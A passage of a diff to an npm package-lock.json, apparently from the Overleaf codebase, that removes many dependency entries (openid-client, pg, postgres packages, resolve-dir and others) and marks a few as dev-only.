+ "devOptional": true
+ },
+- "node_modules/octonode": {
+- "version": "0.9.5",
+- "resolved": "https://registry.npmjs.org/octonode/-/octonode-0.9.5.tgz",
+- "integrity": "sha512-l+aX9jNVkaagh7u/q2QpNKdL8XUagdztl+ebXxBRU6FJ1tpRxAH/ygIuWh0h7eS491BsyH6bb0QZIQEC2+u5oA==",
+- "dependencies": {
+- "bluebird": "^3.5.0",
+- "deep-extend": "^0.6.0",
+- "randomstring": "^1.1.5",
+- "request": "^2.72.0"
+- },
+- "engines": {
+- "node": ">0.4.11"
+- }
+- },
+- "node_modules/oidc-token-hash": {
+- "version": "5.0.1",
+- "resolved": "https://registry.npmjs.org/oidc-token-hash/-/oidc-token-hash-5.0.1.tgz",
+- "integrity": "sha512-EvoOtz6FIEBzE+9q253HsLCVRiK/0doEJ2HCvvqMQb3dHZrP3WlJKYtJ55CRTw4jmYomzH4wkPuCj/I3ZvpKxQ==",
+- "engines": {
+- "node": "^10.13.0 || >=12.0.0"
+- }
+- },
+ "node_modules/on-finished": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz",
+@@ -22833,58 +18706,6 @@
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+- "node_modules/openid-client": {
+- "version": "3.15.10",
+- "resolved": "https://registry.npmjs.org/openid-client/-/openid-client-3.15.10.tgz",
+- "integrity": "sha512-C9r6/iVzNQ7aGp0krS5mFIY5nY8AH6ajYCH0Njns6AXy2fM3Khw/dY97QlaFJWW2QLhec6xfEk23LZw9EeX66Q==",
+- "dependencies": {
+- "@types/got": "^9.6.9",
+- "base64url": "^3.0.1",
+- "got": "^9.6.0",
+- "jose": "^1.27.1",
+- "lru-cache": "^6.0.0",
+- "make-error": "^1.3.6",
+- "object-hash": "^2.0.1",
+- "oidc-token-hash": "^5.0.0",
+- "p-any": "^3.0.0"
+- },
+- "engines": {
+- "node": "^10.13.0 || >=12.0.0"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/panva"
+- }
+- },
+- "node_modules/openid-client/node_modules/jose": {
+- "version": "1.28.1",
+- "resolved": "https://registry.npmjs.org/jose/-/jose-1.28.1.tgz",
+- "integrity": "sha512-6JK28rFu5ENp/yxMwM+iN7YeaInnY9B9Bggjkz5fuwLiJhbVrl2O4SJr65bdNBPl9y27fdC3Mymh+FVCvozLIg==",
+- "dependencies": {
+- "@panva/asn1.js": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=10.13.0"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/panva"
+- }
+- },
+- "node_modules/openid-client/node_modules/lru-cache": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+- "dependencies": {
+- "yallist": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=10"
+- }
+- },
+- "node_modules/openid-client/node_modules/yallist": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+- },
+ "node_modules/optional-require": {
+ "version": "1.1.8",
+ "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.1.8.tgz",
+@@ -23018,59 +18839,6 @@
+ "@otplib/preset-v11": "^12.0.1"
+ }
+ },
+- "node_modules/overleaf-editor": {
+- "resolved": "services/history-v1",
+- "link": true
+- },
+- "node_modules/overleaf-editor-core": {
+- "resolved": "libraries/overleaf-editor-core",
+- "link": true
+- },
+- "node_modules/p-any": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-any/-/p-any-3.0.0.tgz",
+- "integrity": "sha512-5rqbqfsRWNb0sukt0awwgJMlaep+8jV45S15SKKB34z4UuzjcofIfnriCBhWjZP2jbVtjt9yRl7buB6RlKsu9w==",
+- "dependencies": {
+- "p-cancelable": "^2.0.0",
+- "p-some": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=10"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/p-any/node_modules/p-cancelable": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz",
+- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==",
+- "engines": {
+- "node": ">=8"
+- }
+- },
+- "node_modules/p-cancelable": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
+- "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==",
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/p-event": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz",
+- "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==",
+- "dependencies": {
+- "p-timeout": "^3.1.0"
+- },
+- "engines": {
+- "node": ">=8"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+ "node_modules/p-finally": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
+@@ -23148,29 +18916,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/p-some": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/p-some/-/p-some-5.0.0.tgz",
+- "integrity": "sha512-Js5XZxo6vHjB9NOYAzWDYAIyyiPvva0DWESAIWIK7uhSpGsyg5FwUPxipU/SOQx5x9EqhOh545d1jo6cVkitig==",
+- "dependencies": {
+- "aggregate-error": "^3.0.0",
+- "p-cancelable": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=10"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/p-some/node_modules/p-cancelable": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz",
+- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==",
+- "engines": {
+- "node": ">=8"
+- }
+- },
+ "node_modules/p-throttle": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/p-throttle/-/p-throttle-4.1.1.tgz",
+@@ -23216,11 +18961,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/packet-reader": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/packet-reader/-/packet-reader-1.0.0.tgz",
+- "integrity": "sha512-HAKu/fG3HpHFO0AA8WE8q2g+gBJaZ9MG7fcKk+IJPLTGAD6Psw4443l+9DGRbOIh3/aXr7Phy0TjilYivJo5XQ=="
+- },
+ "node_modules/param-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz",
+@@ -23259,19 +18999,6 @@
+ "resolved": "https://registry.npmjs.org/parse-duration/-/parse-duration-1.0.2.tgz",
+ "integrity": "sha512-Dg27N6mfok+ow1a2rj/nRjtCfaKrHUZV2SJpEn/s8GaVUSlf4GGRCRP1c13Hj+wfPKVMrFDqLMLITkYKgKxyyg=="
+ },
+- "node_modules/parse-filepath": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz",
+- "integrity": "sha1-pjISf1Oq89FYdvWHLz/6x2PWyJE=",
+- "dependencies": {
+- "is-absolute": "^1.0.0",
+- "map-cache": "^0.2.0",
+- "path-root": "^0.1.1"
+- },
+- "engines": {
+- "node": ">=0.8"
+- }
+- },
+ "node_modules/parse-json": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
+@@ -23298,14 +19025,6 @@
+ "node": ">=6"
+ }
+ },
+- "node_modules/parse-passwd": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz",
+- "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/parse-srcset": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/parse-srcset/-/parse-srcset-1.0.2.tgz",
+@@ -23344,14 +19063,6 @@
+ "tslib": "^2.0.3"
+ }
+ },
+- "node_modules/pascalcase": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
+- "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/passport": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/passport/-/passport-0.4.1.tgz",
+@@ -23671,39 +19382,11 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/path-loader": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/path-loader/-/path-loader-1.0.10.tgz",
+- "integrity": "sha512-CMP0v6S6z8PHeJ6NFVyVJm6WyJjIwFvyz2b0n2/4bKdS/0uZa/9sKUlYZzubrn3zuDRU0zIuEDX9DZYQ2ZI8TA==",
+- "dependencies": {
+- "native-promise-only": "^0.8.1",
+- "superagent": "^3.8.3"
+- }
+- },
+ "node_modules/path-parse": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+ },
+- "node_modules/path-root": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz",
+- "integrity": "sha1-mkpoFMrBwM1zNgqV8yCDyOpHRbc=",
+- "dependencies": {
+- "path-root-regex": "^0.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/path-root-regex": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz",
+- "integrity": "sha1-v8zcjfWxLcUsi0PsONGNcsBLqW0=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/path-to-regexp": {
+ "version": "0.1.7",
+ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
+@@ -23768,85 +19451,6 @@
+ "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
+ "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
+ },
+- "node_modules/pg": {
+- "version": "8.7.1",
+- "resolved": "https://registry.npmjs.org/pg/-/pg-8.7.1.tgz",
+- "integrity": "sha512-7bdYcv7V6U3KAtWjpQJJBww0UEsWuh4yQ/EjNf2HeO/NnvKjpvhEIe/A/TleP6wtmSKnUnghs5A9jUoK6iDdkA==",
+- "dependencies": {
+- "buffer-writer": "2.0.0",
+- "packet-reader": "1.0.0",
+- "pg-connection-string": "^2.5.0",
+- "pg-pool": "^3.4.1",
+- "pg-protocol": "^1.5.0",
+- "pg-types": "^2.1.0",
+- "pgpass": "1.x"
+- },
+- "engines": {
+- "node": ">= 8.0.0"
+- },
+- "peerDependencies": {
+- "pg-native": ">=2.0.0"
+- },
+- "peerDependenciesMeta": {
+- "pg-native": {
+- "optional": true
+- }
+- }
+- },
+- "node_modules/pg-connection-string": {
+- "version": "2.5.0",
+- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.5.0.tgz",
+- "integrity": "sha512-r5o/V/ORTA6TmUnyWZR9nCj1klXCO2CEKNRlVuJptZe85QuhFayC7WeMic7ndayT5IRIR0S0xFxFi2ousartlQ=="
+- },
+- "node_modules/pg-copy-streams": {
+- "version": "2.2.2",
+- "resolved": "https://registry.npmjs.org/pg-copy-streams/-/pg-copy-streams-2.2.2.tgz",
+- "integrity": "sha512-mjSqs6hrsRhBojCuY2hxyg48B+3th5ARBjMxBCEisIqBvdRD0g5ETdbts20TzrOfha8ueJQOmQCJCprtczJtGQ=="
+- },
+- "node_modules/pg-int8": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz",
+- "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==",
+- "engines": {
+- "node": ">=4.0.0"
+- }
+- },
+- "node_modules/pg-pool": {
+- "version": "3.4.1",
+- "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.4.1.tgz",
+- "integrity": "sha512-TVHxR/gf3MeJRvchgNHxsYsTCHQ+4wm3VIHSS19z8NC0+gioEhq1okDY1sm/TYbfoP6JLFx01s0ShvZ3puP/iQ==",
+- "peerDependencies": {
+- "pg": ">=8.0"
+- }
+- },
+- "node_modules/pg-protocol": {
+- "version": "1.5.0",
+- "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.5.0.tgz",
+- "integrity": "sha512-muRttij7H8TqRNu/DxrAJQITO4Ac7RmX3Klyr/9mJEOBeIpgnF8f9jAfRz5d3XwQZl5qBjF9gLsUtMPJE0vezQ=="
+- },
+- "node_modules/pg-types": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz",
+- "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==",
+- "dependencies": {
+- "pg-int8": "1.0.1",
+- "postgres-array": "~2.0.0",
+- "postgres-bytea": "~1.0.0",
+- "postgres-date": "~1.0.4",
+- "postgres-interval": "^1.1.0"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/pgpass": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz",
+- "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==",
+- "dependencies": {
+- "split2": "^4.1.0"
+- }
+- },
+ "node_modules/picocolors": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
+@@ -24085,14 +19689,6 @@
+ "mkdirp": "bin/cmd.js"
+ }
+ },
+- "node_modules/posix-character-classes": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
+- "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/postcss": {
+ "version": "7.0.39",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
+@@ -24136,41 +19732,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/postgres-array": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz",
+- "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==",
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/postgres-bytea": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.0.tgz",
+- "integrity": "sha1-AntTPAqokOJtFy1Hz5zOzFIazTU=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/postgres-date": {
+- "version": "1.0.7",
+- "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz",
+- "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/postgres-interval": {
+- "version": "1.2.0",
+- "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz",
+- "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==",
+- "dependencies": {
+- "xtend": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/pprof": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/pprof/-/pprof-3.2.0.tgz",
+@@ -24409,14 +19970,6 @@
+ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-2.11.0.tgz",
+ "integrity": "sha1-U0uQM8AiyVecVro7Plpcqvu2UOE="
+ },
+- "node_modules/promptly": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/promptly/-/promptly-3.2.0.tgz",
+- "integrity": "sha512-WnR9obtgW+rG4oUV3hSnNGl1pHm3V1H/qD9iJBumGSmVsSC5HpZOLuu8qdMb6yCItGfT7dcRszejr/5P3i9Pug==",
+- "dependencies": {
+- "read": "^1.0.4"
+- }
+- },
+ "node_modules/prop-types": {
+ "version": "15.8.1",
+ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
+@@ -24471,12 +20024,6 @@
+ "resolved": "https://registry.npmjs.org/property-expr/-/property-expr-2.0.5.tgz",
+ "integrity": "sha512-IJUkICM5dP5znhCckHSv30Q4b5/JA5enCtkRHYaOVOAocnH/1BQEYTC5NMfT3AVl/iXKdr3aqQbQn9DxyWknwA=="
+ },
+- "node_modules/proto-list": {
+- "version": "1.2.4",
+- "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz",
+- "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=",
+- "dev": true
+- },
+ "node_modules/proto3-json-serializer": {
+ "version": "0.1.8",
+ "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-0.1.8.tgz",
+@@ -24535,11 +20082,6 @@
+ "dev": true,
+ "optional": true
+ },
+- "node_modules/pseudomap": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz",
+- "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM="
+- },
+ "node_modules/psl": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz",
+@@ -24927,14 +20469,6 @@
+ }
+ ]
+ },
+- "node_modules/quick-lru": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-1.1.0.tgz",
+- "integrity": "sha1-Q2CxfGETatOAeDl/8RQW4Ybc+7g=",
+- "engines": {
+- "node": ">=4"
+- }
+- },
+ "node_modules/ramda": {
+ "version": "0.28.0",
+ "resolved": "https://registry.npmjs.org/ramda/-/ramda-0.28.0.tgz",
+@@ -24976,34 +20510,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/randombytes": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.3.tgz",
+- "integrity": "sha1-Z0yZdgkBw8QRJ3GjHlIdw0nMCew="
+- },
+- "node_modules/randomstring": {
+- "version": "1.2.2",
+- "resolved": "https://registry.npmjs.org/randomstring/-/randomstring-1.2.2.tgz",
+- "integrity": "sha512-9FByiB8guWZLbE+akdQiWE3I1I6w7Vn5El4o4y7o5bWQ6DWPcEOp+aLG7Jezc8BVRKKpgJd2ppRX0jnKu1YCfg==",
+- "dependencies": {
+- "array-uniq": "1.0.2",
+- "randombytes": "2.0.3"
+- },
+- "bin": {
+- "randomstring": "bin/randomstring"
+- },
+- "engines": {
+- "node": "*"
+- }
+- },
+- "node_modules/randomstring/node_modules/array-uniq": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.2.tgz",
+- "integrity": "sha1-X8w3OSB3VyPP1k1lxkvvU7+eum0=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/range-parser": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+@@ -25286,17 +20792,6 @@
+ "uuid": "dist/bin/uuid"
+ }
+ },
+- "node_modules/read": {
+- "version": "1.0.7",
+- "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz",
+- "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=",
+- "dependencies": {
+- "mute-stream": "~0.0.4"
+- },
+- "engines": {
+- "node": ">=0.8"
+- }
+- },
+ "node_modules/readable-stream": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+@@ -25330,17 +20825,6 @@
+ "node": ">=8.10.0"
+ }
+ },
+- "node_modules/rechoir": {
+- "version": "0.6.2",
+- "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz",
+- "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=",
+- "dependencies": {
+- "resolve": "^1.1.6"
+- },
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/recurly": {
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/recurly/-/recurly-4.12.0.tgz",
+@@ -25364,12 +20848,6 @@
+ "node": ">=4"
+ }
+ },
+- "node_modules/redis-mock": {
+- "version": "0.49.0",
+- "resolved": "https://registry.npmjs.org/redis-mock/-/redis-mock-0.49.0.tgz",
+- "integrity": "sha512-FW/cLZvF1PAVN/PYIwXf1vQRoJCyYCwUMtq8BXRwrvb9LNNAT4RKXM02Qlt6qSkC/98hmHlU2EGoQoxVy3E2lA==",
+- "dev": true
+- },
+ "node_modules/redis-parser": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/redis-parser/-/redis-parser-3.0.0.tgz",
+@@ -25381,17 +20859,6 @@
+ "node": ">=4"
+ }
+ },
+- "node_modules/redlock": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/redlock/-/redlock-4.2.0.tgz",
+- "integrity": "sha512-j+oQlG+dOwcetUt2WJWttu4CZVeRzUrcVcISFmEmfyuwCVSJ93rDT7YSgg7H7rnxwoRyk/jU46kycVka5tW7jA==",
+- "dependencies": {
+- "bluebird": "^3.7.2"
+- },
+- "engines": {
+- "node": ">=8.0.0"
+- }
+- },
+ "node_modules/reduce": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/reduce/-/reduce-1.0.2.tgz",
+@@ -25586,41 +21053,6 @@
+ "@babel/runtime": "^7.8.4"
+ }
+ },
+- "node_modules/regex-not": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
+- "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
+- "dependencies": {
+- "extend-shallow": "^3.0.2",
+- "safe-regex": "^1.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/regex-not/node_modules/extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "dependencies": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/regex-not/node_modules/is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "dependencies": {
+- "is-plain-object": "^2.0.4"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/regexp-clone": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/regexp-clone/-/regexp-clone-1.0.0.tgz",
+@@ -25835,6 +21267,7 @@
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz",
+ "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -25843,6 +21276,7 @@
+ "version": "1.6.1",
+ "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
+ "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10"
+ }
+@@ -26094,57 +21528,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/resolve-dir": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz",
+- "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=",
+- "dependencies": {
+- "expand-tilde": "^2.0.0",
+- "global-modules": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/resolve-dir/node_modules/global-modules": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz",
+- "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==",
+- "dependencies": {
+- "global-prefix": "^1.0.1",
+- "is-windows": "^1.0.1",
+- "resolve-dir": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/resolve-dir/node_modules/global-prefix": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz",
+- "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=",
+- "dependencies": {
+- "expand-tilde": "^2.0.2",
+- "homedir-polyfill": "^1.0.1",
+- "ini": "^1.3.4",
+- "is-windows": "^1.0.1",
+- "which": "^1.2.14"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/resolve-dir/node_modules/which": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+- "dependencies": {
+- "isexe": "^2.0.0"
+- },
+- "bin": {
+- "which": "bin/which"
+- }
+- },
+ "node_modules/resolve-from": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+@@ -26166,20 +21549,6 @@
+ "node": ">= 0.10"
+ }
+ },
+- "node_modules/resolve-url": {
+- "version": "0.2.1",
+- "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
+- "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=",
+- "deprecated": "https://github.com/lydell/resolve-url#deprecated"
+- },
+- "node_modules/responselike": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
+- "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
+- "dependencies": {
+- "lowercase-keys": "^1.0.0"
+- }
+- },
+ "node_modules/restore-cursor": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
+@@ -26193,14 +21562,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/ret": {
+- "version": "0.1.15",
+- "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
+- "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==",
+- "engines": {
+- "node": ">=0.12"
+- }
+- },
+ "node_modules/retry": {
+ "version": "0.13.1",
+ "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
+@@ -26209,14 +21570,6 @@
+ "node": ">= 4"
+ }
+ },
+- "node_modules/retry-as-promised": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/retry-as-promised/-/retry-as-promised-3.2.0.tgz",
